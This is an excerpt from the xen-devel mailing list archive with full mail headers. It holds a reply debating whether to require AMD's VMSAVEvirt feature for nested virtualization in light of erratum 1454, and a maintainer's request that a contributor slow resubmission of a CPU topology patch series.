 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 09:16:55 +0200
Received: from CO1PR03MB7889.namprd03.prod.outlook.com (2603:10b6:303:275::14)
 by MN2PR03MB5152.namprd03.prod.outlook.com (2603:10b6:208:1ad::23)
 with Microsoft SMTP Server (version=TLS1_2,
 cipher=TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384) id 15.21.245.13; Tue, 28 Jul
 2026 07:16:51 +0000
Received: from CO1PR03MB7889.namprd03.prod.outlook.com
 ([fe80::2d02:5605:87a2:6767]) by CO1PR03MB7889.namprd03.prod.outlook.com
 ([fe80::2d02:5605:87a2:6767%5]) with mapi id 15.21.0245.012; Tue, 28 Jul 2026
 07:16:51 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=selector1 header.d=citrix.com header.i="@citrix.com" header.h="From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck"
ARC-Seal: i=1; a=rsa-sha256; s=arcselector10001; d=microsoft.com; cv=none;
 b=otoBDz4JbFB2f8jWf4rMJR68u0f18i6Z2nMRKyd916LZZ7mGzqvR1D4FjvnTk9PXErJJo53TdAkcXcJrAv5a2h5fVA6hMbu7wzeKtygOGsemM7X3ZF+Z3VGEU10K02uJaoXYtJvIMVqJt/xsitQ5MgkGuZvK9aaW5AdhbDD7EQXifad3DdWNYA0XI2NPX5AinXvfZlONAiVELPXa/lGHDppfeBG/GlRB5ZPxnxthtd2Gtunu1fal+PljX3svLcFdzkY+AYRAB8FNSCHaC/ZBQKkeFRdMnp23D8TxCg42vNIFFfb+XSWeYr790Culldc70XlqYtBtyD5VphGmlU8uFQ==
ARC-Message-Signature: i=1; a=rsa-sha256; c=relaxed/relaxed; d=microsoft.com;
 s=arcselector10001;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-AntiSpam-MessageData-ChunkCount:X-MS-Exchange-AntiSpam-MessageData-0:X-MS-Exchange-AntiSpam-MessageData-1;
 bh=rgfj3omKwaaiAUxGLqJajfCkz5k3NrUUzXsfzvFpM9M=;
 b=sdz1FN2MG+Fz664k8rb5FZiwZ3ulh8Y+7ytCyuSLsKqkslrG1GO/3lAPaJjokkPoCduVA2FXHef4JRQgrMm7ik4HAEScO4nJpHVXgoc4mDQz68yt53rmiRg9F1gaxliYmNCCquUWf3NeJY2Cj9xKDLyO7hKk/Qpk2mVZFxmCgG6yKFFq++xI3V8MDi8jeAzEW6RcXNu+xkTHLpULzYskGIoZxmS791oX6/5G0cG18tiLNsirYoLvyqWyQKW9cjWXj7YJXHnOcezJOHkj4v8OPtNhtBEbVcHlPpNagI0XP2ndapA/T6ZMvJmRU7zqQ1wCzbX7Ooo/NZ0iUjB4ho9sfA==
ARC-Authentication-Results: i=1; mx.microsoft.com 1; spf=pass
 smtp.mailfrom=citrix.com; dmarc=pass action=none header.from=citrix.com;
 dkim=pass header.d=citrix.com; arc=none
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=citrix.com;
 s=selector1;
 h=From:Date:Subject:Message-ID:Content-Type:MIME-Version:X-MS-Exchange-SenderADCheck;
 bh=rgfj3omKwaaiAUxGLqJajfCkz5k3NrUUzXsfzvFpM9M=;
 b=W0mKHwPJT4NXr++svc8CmAEEOJCvFzs1GLlWk29rnJQiD+xAVdsP4v7t9KHiksMMw1J9Ahyq4Yzm5ACdsuyiM4/grq5f+WenQCfmikQngR7WFatgKxASt+GnriQ+1mhurWOqPe6I5I4u2dO6dTMX0ziDYn50WLrnedi768+DIKU=
Authentication-Results: dkim=none (message not signed)
 header.d=none;dmarc=none action=none header.from=citrix.com;
From: Stephen Cheng <stephen.cheng@citrix.com>
To: teddy.astie@vates.tech
Cc: ross.lagerwall@citrix.com,
	andrew.cooper3@citrix.com,
	anthony.perard@vates.tech,
	jason.andryuk@amd.com,
	jbeulich@suse.com,
	julien@xen.org,
	michal.orzel@amd.com,
	roger@xenproject.org,
	sstabellini@kernel.org,
	xen-devel@lists.xenproject.org
Subject: Re: [PATCH] x86/svm: require VMSAVEvirt for nested virt
Date: Tue, 28 Jul 2026 15:16:41 +0800
Message-ID: <20260728071641.263677-1-stephen.cheng@citrix.com>
X-Mailer: git-send-email 2.49.0
In-Reply-To: <1785152912.8631fc262581453bbf619ec5b2062170.19fa367bc22000e099@vates.tech>
References: <1785152912.8631fc262581453bbf619ec5b2062170.19fa367bc22000e099@vates.tech>
Content-Transfer-Encoding: 8bit
Content-Type: text/plain
X-ClientProxiedBy: SG2P153CA0018.APCP153.PROD.OUTLOOK.COM (2603:1096::28) To
 CO1PR03MB7889.namprd03.prod.outlook.com (2603:10b6:303:275::14)
MIME-Version: 1.0
X-MS-PublicTrafficType: Email
X-MS-TrafficTypeDiagnostic: CO1PR03MB7889:EE_|MN2PR03MB5152:EE_
X-MS-Office365-Filtering-Correlation-Id: 8d65a814-ccd4-404a-9d25-08deec7831c9
X-MS-Exchange-SenderADCheck: 1
X-MS-Exchange-AntiSpam-Relay: 0
X-Microsoft-Antispam:
	BCL:0;ARA:13230040|23010399003|1800799024|376014|366016|11063799006|10067099003|56012099006|6133799003|18002099003|22082099003|3023799007;
X-Microsoft-Antispam-Message-Info:
	VgxcJ3OvcF9cJfKNNd2jKikjvy9SeglFO/SIxnlJVj4IRhqwzd0/sXxzOxqmSCAlf9FzF0FN8mPBXQNkxl9iTISJl5AvcbORc0n95kRE4UYp18TbMoCU9uJwNvrwDlZ+HLDZ3pv9gp8fA8DjMOEefn9zLJ3BOxtCXogHF5T1jMqSQebQnX6h1Mq9ScCFs1ZPDvCNcCHpjlYjFBbwzwSwKBp0d8AwYx7aPPkEPJIIykLXjdKrkuwXh8ZFQtpAMfaOTJZyqAVonk6sLBjY+5hPl1joqDU7sO60kIkFSbfu9wTNM9jZMANPrMZUjaX1Avjyzm5yQy7293sxAYzDqyJBtIzx6QY5kjuqWhKBh0Orc5U06kDtfn+4LML7o1XDAhMc8u7LY24FullxzIho8DwQ/O3+XRMzAwFFVawU/4SilITjI0EfiwRVMqR8ME92C2ZsU8MzRbc4tdYNLanG0o0Bvf4ubEOC0nCK1KlxtlWwBLd1ELhWBst0JrwYm6GS1tGgfYGOSMMlwgLBPychHBpBLtFiZ/Xyeg6I9gnOsf1/J5vSDCavsyXWZKWRPne60KTqgkXQHUvw8U7Vl0yvdB5OxgSFig63tTVebBqZnE+D2cxJR70dmLiLerlha3GqLqE6rqbiHsRMsdqYY3W/V+0ukfqjLKtIcxuW2eNQgiJg23w=
X-Forefront-Antispam-Report:
	CIP:255.255.255.255;CTRY:;LANG:en;SCL:1;SRV:;IPV:NLI;SFV:NSPM;H:CO1PR03MB7889.namprd03.prod.outlook.com;PTR:;CAT:NONE;SFS:(13230040)(23010399003)(1800799024)(376014)(366016)(11063799006)(10067099003)(56012099006)(6133799003)(18002099003)(22082099003)(3023799007);DIR:OUT;SFP:1101;
X-MS-Exchange-AntiSpam-MessageData-ChunkCount: 1
X-MS-Exchange-AntiSpam-MessageData-0:
	=?us-ascii?Q?5Lxe1WwjzcjHgjqrvMKGKn0lHDte37KLCrdMBsUHhSjjsYpDcJl63cyJQHd/?=
 =?us-ascii?Q?lgTlG50fzKgauEVp93ckD6G3JQT/9UP7hRAYHZmO8tieESfoCDTqsuoPEmp6?=
 =?us-ascii?Q?nckm3CULbgp3GgTjXoxumJmDd9lLu/k6D4o9GORrxChNQWkdHKZAlzSuZGSj?=
 =?us-ascii?Q?QuDVlwLpmZGYbLHhSQNjdokFDV5PyTjwASFFR39I+r8Q7sOljUxtcrSX6oM/?=
 =?us-ascii?Q?rKeXkVJe+1vL8hlz1k+S6RHdD02atlD2pG3w5K6m+/VLmJlPRlD1z1X4g7rJ?=
 =?us-ascii?Q?YoUQAdSP6LF3tGgZSWof2zFFULDWuGoKFIqz0zdXmoLmVlC2fADTZ50V+XhM?=
 =?us-ascii?Q?YHJiHh5R2mzQiFddhBGDDPVjU+UoVcT+gEKVj7zLrLJbmH72y6j5NS/LdQqE?=
 =?us-ascii?Q?Dhd1LGpS1lxF9bvZnqe+u0IwOJSvcnwcer7AVpAflc2aa0nsgNKRwgb5nv5a?=
 =?us-ascii?Q?GL86vs6rDHsei4RDrUMW3kRnetytoPeWXmzDQWU4EWjiooxvymLi0BEOyIRG?=
 =?us-ascii?Q?OUvvWACOGAsm8kJ8onhLaUSn9Y73fjbV/AvVEKOoXe0CKtRAy+8AllYRli9m?=
 =?us-ascii?Q?7v/4TJdzCTKONCUF9OxWK1rFP9NBDfF2azCrp1vi8xfNxMBJUIrqUjpT5trW?=
 =?us-ascii?Q?CjXVkzYRAmpHJUQVZfkTZIFNVH31ixLKKGFBy1f/HfwVHG9aL8Noh+Uqfz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ascii?Q?59soTFLu6y21OOhzZkuuqev9rG+WtCqKl/MkGaAK75Ra5wykY3RjJBsqNAfK?=
 =?us-ascii?Q?IsMmE8USfnC4YBY65ov3Qz0Ga7W495wALTrlMMO3t/+QOB5zpm+K7INJyuEC?=
 =?us-ascii?Q?ObthUS1IYbXPKzFIxm/2+WL6ZjtwHH+VaTqLWTrAlRTqhXjIAPAFhcjTJekT?=
 =?us-ascii?Q?p0sYqQItqQ=3D=3D?=
X-OriginatorOrg: citrix.com
X-MS-Exchange-CrossTenant-Network-Message-Id: 8d65a814-ccd4-404a-9d25-08deec7831c9
X-MS-Exchange-CrossTenant-AuthSource: CO1PR03MB7889.namprd03.prod.outlook.com
X-MS-Exchange-CrossTenant-AuthAs: Internal
X-MS-Exchange-CrossTenant-OriginalArrivalTime: 28 Jul 2026 07:16:51.1479
 (UTC)
X-MS-Exchange-CrossTenant-FromEntityHeader: Hosted
X-MS-Exchange-CrossTenant-Id: 335836de-42ef-43a2-b145-348c2ee9ca5b
X-MS-Exchange-CrossTenant-MailboxType: HOSTED
X-MS-Exchange-CrossTenant-UserPrincipalName: F9VxB1P7I5lHiDxqLVwRYDE26Z/iX3ovLNRbCFLclQeGDW4+bGExdERW39NBYKN/boU8hEU9p569KYRHf+8KnqsWDAQmGech/dWi5+ZkROM=
X-MS-Exchange-Transport-CrossTenantHeadersStamped: MN2PR03MB5152
X-purgate-ID: tlsNG-c201ff/1785223015-72AB72A1-BFFF02AC/0/0
X-purgate-type: clean
X-purgate-size: 2826

On 27/07/2026 11:48, Teddy Astie wrote:
> I'm not convinced making "VMSAVEvirt" mandatory is a good idea, in
> particular, there is a errata (1454 - Processor May Log Unexpected LS
> MCE Error When Executing Virtualized VMLOAD or Virtualized VMSAVE) on
> Family 19h regarding this feature.

Thank you, I hadn't looked at 1454.  Quoting it here for anyone else
following along:

  Description
  Under a highly specific and detailed set of internal timing
  conditions, when a virtualized VMLOAD or virtualized VMSAVE
  instruction is executed the processor may log an uncorrectable LS
  MCE error of the type "HWA" with:
   MCA::LS::MCA_STATUS_LS[ErrorCodeExt] = 0x16 and
   MCA::LS::MCA_SYND_LS[ErrorInformation] = 0x00094.

  Potential Effect on System
  System may log a fatal error and reset.

  Suggested Workaround
  System software may contain the workaround for this erratum.

  Fix Planned
  No fix planned

I don't think this patch changes the exposure, though.  A part affected
by 1454 has the feature by definition, and on such a part staging
already enables it for every nested guest -- see the existing
cpu_has_svm_vloadsave path in svm_nested_features_on_efer_update().
What this patch removes is the emulation fallback used on hosts which
lack the feature, and those hosts cannot hit 1454 in the first place.
The set of machines exposed to the erratum is therefore the same before
and after.

That doesn't make 1454 a non-issue -- "may log a fatal error and reset"
with "no fix planned" is worth understanding.  But it's an existing
question about Xen's use of virtual VMLOAD/VMSAVE rather than something
this patch introduces, and answering it means deliberately not enabling
a feature Xen enables today.  I'd rather do that knowingly, once we
know what the workaround is: "system software may contain the
workaround" doesn't say whether that means firmware, microcode or the
hypervisor.

> Had you considered improving the current implementation of virtualized
> VMLOAD/VMSAVE ? AIUI, the way Xen currently implements this instruction
> (by mapping the L1 VMCB then calling vmload/vmsave on it) is more of a
> implementation choice than a requirement.
>
> A better (at least, likely safer) way to emulate such instructions (and
> not relying on VMSAVEvirt) would be to copy parts of L1 VMCB from/to L0
> VMCB and let Xen perform the appropriate vmload/vmsave on its own VMCBs
> as usual.

You're right that it's an implementation choice rather than a hardware
requirement.  On whether it's worth building, I'll defer to Ross's
reply: given how limited our resources for nested virt are, and that
AMD nested virt doesn't work today, dropping support for older parts
isn't a functional regression.

Thanks for the review and the feedback.

Stephen


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 07:59:27 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 07:59:27 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372180.1619576 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wociU-0001Ky-Ft; Tue, 28 Jul 2026 07:59:10 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372180.1619576; Tue, 28 Jul 2026 07:59:10 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wociU-0001Kr-DK; Tue, 28 Jul 2026 07:59:10 +0000
Received: by outflank-mailman (input) for mailman id 1372180;
 Tue, 28 Jul 2026 07:59:09 +0000
Received: from mx.expurgate.net ([195.190.135.10])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wociS-0001JM-UK
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 07:59:09 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wociR-003oVB-5j
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 09:59:07 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a68613f-e002-0a2a0a5209dd-0a2a450cd80c-18
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 09:59:07 +0200
Received: from [209.85.128.49] (helo=mail-wm1-f49.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a686148-f479-0a2a450c0019-d1558031e123-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 09:59:04 +0200
Received: by mail-wm1-f49.google.com with SMTP id
 5b1f17b1804b1-49554ebb87dso32230435e9.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 00:59:04 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-4957f9ae5c3sm395756935e9.3.2026.07.28.00.59.03
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 00:59:04 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785225544; x=1785830344; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=4kNw43z49eToA5T4V8xwk3lsJGSM/6nZj1+mJKzDiZ8=;
        b=WBX6OyulcxwR5+PVmWwOZv0+aNug1N0asFd7K6ri/SDqTWd/dwPpuJR/HIgQdha3l/
         JQeB5Z8fBY9jNM93r3zFZUUOOKgnG6cBJcWqn/oVRiNE6LEjrU5M8k8zqQdUgRFqIojk
         3utGSZDpzWlP3lucpDZIAc6si4nHAefJg5D8eNu2iIj4cwPbNXygPhAJIKdwEcj02ebp
         T5Z7mtop157IFxUBmu4ghyMIku0fcFgA8DDaVJrYd3XrYDtosRhREuneM28SIB8ARMl4
         k6zP9XOIyquw6rVO/jnklytPOyZH0IHlpZa7zpCS+VyLC8XaJAAKB6BjFJEqP+WbeAYV
         Z0oQ==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785225544; x=1785830344;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=4kNw43z49eToA5T4V8xwk3lsJGSM/6nZj1+mJKzDiZ8=;
        b=ku7Z9qCgHQB275bkmGTLNluWiG4i+9Ya+NN8Y9uozvhVqj8i01t2GwEdDWjfeML1gb
         uzQFXKrKG0tzh73QD6QXXjHQNjACJNpDp7YloQDJ73PwQoP0n+pdfUJ1GkJrsKS1gA7t
         QULnY3NMlSQYscPJLhU09L0m7yhCIlEsEFNm07cccIxho/n59Px0P0nupVT6HRXYlD3R
         Vm2RxYGDpteatuS6i2XI+8HHFxXR3JJx+5PGbtDiYqfUnxuIoDYl5S86LFaRtdIDcx93
         0KPK2Leh9UJsdYPaQxmvrvPTmsXQKR6w0z0gyMQFDup2gUa9KuOlyURUAkvs0iVey5m9
         Jbog==
X-Forwarded-Encrypted: i=1; AHgh+RpgtcEOkbD9UjD7EG1c1VSJ1BCz95D0P+/2PlNl6KT6oW1Ig6COapMEI1Ixx0TFYoPciMNCDvOkEE4=@lists.xenproject.org
X-Gm-Message-State: AOJu0Yx64z9tZx5AG1fCff0qZ89vre/QuNWyd/oMKgu8TaMTK2XphSqJ
	fzVjhvfT6VAvAB7n0TCjzoZYuwA7GMPvE9iSMwZb3L4QA4nz35A3+4sKzESYlQ8wCA==
X-Gm-Gg: AR+sD12C+5CHFK1cC2H/doQVO+dU3EsbII3zNToZwbYK+cZHpqzMPrntuthyvfbFGHm
	BPi/gh4zsVNbgHOC+zbmcEho4qpHUTeEANara9C6yu5lejjXkpTT+vo5tQTNap/2+rav9RPLmac
	xW29O9bjzDHqKyDGkpJprkGla/PGd8FiEkqHgvHMLvWfnNaUrfisi9virhDaMpVb3lNzLGnrzWF
	R5ezLYirGCfBtGe9gLMd+Rcs7YTQyS2XAMRXaF5gDyLUsDi+OoxS2exCaHW94EdVLTzVRwH4xhx
	A2+/0c0wDNlMH8xir+ruJW4n4ISPoiaGbtIGNTrBuHANeNUFYHl9Ot53wHdrMzgawx77R82So3Q
	osah9tR5fvtZOefQcc3Od73Rg72T8QLfSl7qunycIzXDoI7mJP+uAag4cAeCQdM3HuhOEJVA+sa
	IUQ0DNA3Kdklwz46gVqZ6oV5Uc1btgbJhFuW9kL32fM4DNLF6YPLhMyZUdAmVohYwu8Mols0/9a
	WSc
X-Received: by 2002:a05:600c:8b2e:b0:495:4dd3:ca97 with SMTP id 5b1f17b1804b1-496c659f843mr14541765e9.29.1785225544425;
        Tue, 28 Jul 2026 00:59:04 -0700 (PDT)
Message-ID: <6ebc44f2-c7a3-4b33-9f6a-cd48be13ad27@suse.com>
Date: Tue, 28 Jul 2026 09:59:03 +0200
MIME-Version: 1.0
User-Agent: Mozilla Thunderbird
Subject: Re: [PATCH v9 0/4] xen/acpi,device-tree: Introduce generic CPU
 topology support for ACPI and DT
To: Hirokazu Takahashi <taka@valinux.co.jp>
Cc: Mykyta_Poturai@epam.com, xen-devel@lists.xenproject.org
References: <20260728050642.411240-1-taka@valinux.co.jp>
Content-Language: en-US
From: Jan Beulich <jbeulich@suse.com>
Autocrypt: addr=jbeulich@suse.com; keydata=
 xsDiBFk3nEQRBADAEaSw6zC/EJkiwGPXbWtPxl2xCdSoeepS07jW8UgcHNurfHvUzogEq5xk
 hu507c3BarVjyWCJOylMNR98Yd8VqD9UfmX0Hb8/BrA+Hl6/DB/eqGptrf4BSRwcZQM32aZK
 7Pj2XbGWIUrZrd70x1eAP9QE3P79Y2oLrsCgbZJfEwCgvz9JjGmQqQkRiTVzlZVCJYcyGGsD
 /0tbFCzD2h20ahe8rC1gbb3K3qk+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+qh8V
 m5jjp28yZgaqTaRbg3M/+MTbMpicpZuqF4rnB0AQD12/3BNWDR6bmh+EkYSMcEIpQmBM51qM
 EKYTQGybRCjpnKHGOxG0rfFY1085mBDZCH5Kx0cl0HVJuQKC+dV2ZY5AqjcKwAxpE75MLFkr
 wkkEGBECAAkFAlk3nEQCGwwACgkQoDSui/t3IH7nnwCfcJWUDUFKdCsBH/E5d+0ZnMQi+G0A
 nAuWpQkjM1ASeQwSHEeAWPgskBQL
In-Reply-To: <20260728050642.411240-1-taka@valinux.co.jp>
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 7bit
X-purgate-ID: tlsNG-d25034/1785225545-51339A5B-0519C495/0/0
X-purgate-type: clean
X-purgate-size: 1107

On 28.07.2026 07:06, Hirokazu Takahashi wrote:
> Hello,
> 
> This patch series integrates CPU topology discovery into the Xen hypervisor
> for both ACPI and Device Tree platforms.
> 
> Changes in v9:
>  - Add bounds checking for the number of private resources in the PPTT
>    processor table.
>  - Verify the validity of entries when indexing into the map_cpu_acpiid table.
>  - Coding style adjustments (following Xen standards):
>    * Place logical operators ('||', '&&') at the end of lines when splitting
>      multi-line conditions.
>    * Place arithmetic operators ('+', '-') at the end of lines when wrapping
>      long assignment statements.
>    * Enclose bitwise operations in parentheses within conditional expressions
>      that combine logical operators.
>    * Combine variable declaration and initialization where applicable.

May I ask that you slow down your re-submission rate? Iirc Arm people haven't
really looked at the series so far, yet without them doing so none of this can
go in anyway. You may therefore rather want to ping for their feedback.

Jan


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 08:03:23 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 08:03:23 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372199.1619586 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wocmX-0003XB-DO; Tue, 28 Jul 2026 08:03:21 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372199.1619586; Tue, 28 Jul 2026 08:03:21 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wocmX-0003X4-AX; Tue, 28 Jul 2026 08:03:21 +0000
Received: by outflank-mailman (input) for mailman id 1372199;
 Tue, 28 Jul 2026 08:03:19 +0000
Received: from mx.expurgate.net ([195.190.135.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <jbeulich@suse.com>) id 1wocmV-0003Wy-SN
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 08:03:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wocmV-001y52-8n
 for xen-devel@lists.xenproject.org; Tue, 28 Jul 2026 10:03:19 +0200
Received: from [10.42.69.12] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a686244-2eae-0a2a0a5409dd-0a2a450cec56-38
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 10:03:19 +0200
Received: from [209.85.221.52] (helo=mail-wr1-f52.google.com)
 by tlsNG-d25034.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <jbeulich@suse.com>)
 id 6a686246-f479-0a2a450c0019-d155dd34c95b-3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 10:03:19 +0200
Received: by mail-wr1-f52.google.com with SMTP id
 ffacd0b85a97d-47f7854678bso1213656f8f.3
 for <xen-devel@lists.xenproject.org>; Tue, 28 Jul 2026 01:03:19 -0700 (PDT)
Received: from [10.156.60.236] (ip-037-024-206-209.um08.pools.vodafone-ip.de.
 [37.24.206.209]) by smtp.gmail.com with ESMTPSA id
 5b1f17b1804b1-496c46240c4sm57476945e9.12.2026.07.28.01.03.16
 (version=TLS1_3 cipher=TLS_AES_128_GCM_SHA256 bits=128/128);
 Tue, 28 Jul 2026 01:03:16 -0700 (PDT)
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; dkim=pass header.s=google header.d=suse.com header.i="@suse.com" header.h="Content-Transfer-Encoding:Content-Type:In-Reply-To:Autocrypt:From:Content-Language:References:Cc:To:Subject:User-Agent:MIME-Version:Date:Message-ID"
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=suse.com; s=google; t=1785225798; x=1785830598; darn=lists.xenproject.org;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:from:to:cc:subject:date:message-id:reply-to
         :content-type;
        bh=+2GLG6+V1DlfEJxeQ+3HMIeqcrQuJlhbxT8+jpUHpdw=;
        b=G9P7Gb9FqiddT1ZxB+siTZWnFEPzqrikxS1N9hYmavtNXfVnPZJgA1oHOL4gaU/5rD
         BYuVOQ/dbaYrSZxYYxAJHbyiotJn+k/jQJXWvfU18oOH3ZFt1Fuoxee3vZju/woC3t9A
         BShnm9vmtXc5utntbAHi4hwWmKgl2/0H9/s2Zow4KK6O95i6pNMpHIe/To54QWL0YmMK
         bzJYwLWqpDWfzmljsjRKDyFwcNq9fkw3LNU1uDKig0z4Y95LcJ6kA9jyLPWnyEXfQQgk
         Sl9Hp77ak0nYrV3pcClIaUJoATQjDfjLj/4c7nGODA5XY7AOhO12JfkLgt4ebkmryGqa
         QhEw==
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20251104; t=1785225798; x=1785830598;
        h=content-transfer-encoding:content-type:in-reply-to:autocrypt:from
         :content-language:references:cc:to:subject:user-agent:mime-version
         :date:message-id:x-gm-gg:x-gm-message-state:from:to:cc:subject:date
         :message-id:reply-to:content-type;
        bh=+2GLG6+V1DlfEJxeQ+3HMIeqcrQuJlhbxT8+jpUHpdw=;
        b=IRrohSlEVkTwj2Jo6HnIpsj+/cY7wySjiTgSwhliKrqdeQGqkdrfyWs6DbKKP3r/XR
         cB3xziOEd2fK0TrNOUDIOqywN5a71/HqUM42OWTssFneF7nYWlaHU111jw7bro8vnZ3g
         W4NajMBcvCg3z0gRUz11Z0DdBJOdZeyATbRPnzB1qBCu1lXbI1dE029xyXG4iPNTt9aL
         pAu5torPHUt74fmlBWW/YjvMVJK/Z3jWP+xWbFPu1y/O8s1WzewuSPj4Hg9899/NmqJd
         30kBtNbIQa0nZbCs/dg2z//XDlygvQ+DC3hIpLUO5Iq+h5LJwEcQif/T1QXof9sud6o4
         l3QA==
X-Forwarded-Encrypted: i=1; AHgh+RrPFIojxuVpVutCtG1+dr4swR7BJ85Fk6wQCbaHLQIi/m2jV0hWm1RQRkckBicsCaPdBhFCEQVieLk=@lists.xenproject.org
X-Gm-Message-State: AOJu0YyhIA8DNwJc71L8SSVgATfmrQCPUm95qk2vzX7XFcWcXBqt9aYK
	/Os3/3ZwQVQkUK3CT50XgBoepXwVWcT7nw0fdB4Ls1RyaIZHorCWBEoymhG8wK5/NQ==
X-Gm-Gg: AR+sD12RHCgqYWqvsyU6WiqKbNNzLU19yKcftJqr5jIKtmcxCA1DPKEQ8MmtlsltZtZ
	zpBpe/v31LIXc4UbcvV0/wDwBzC5Muzrh9GALiMy2n2YzpgTaJPGK41NZFgm6K4JV1SLDWC/New
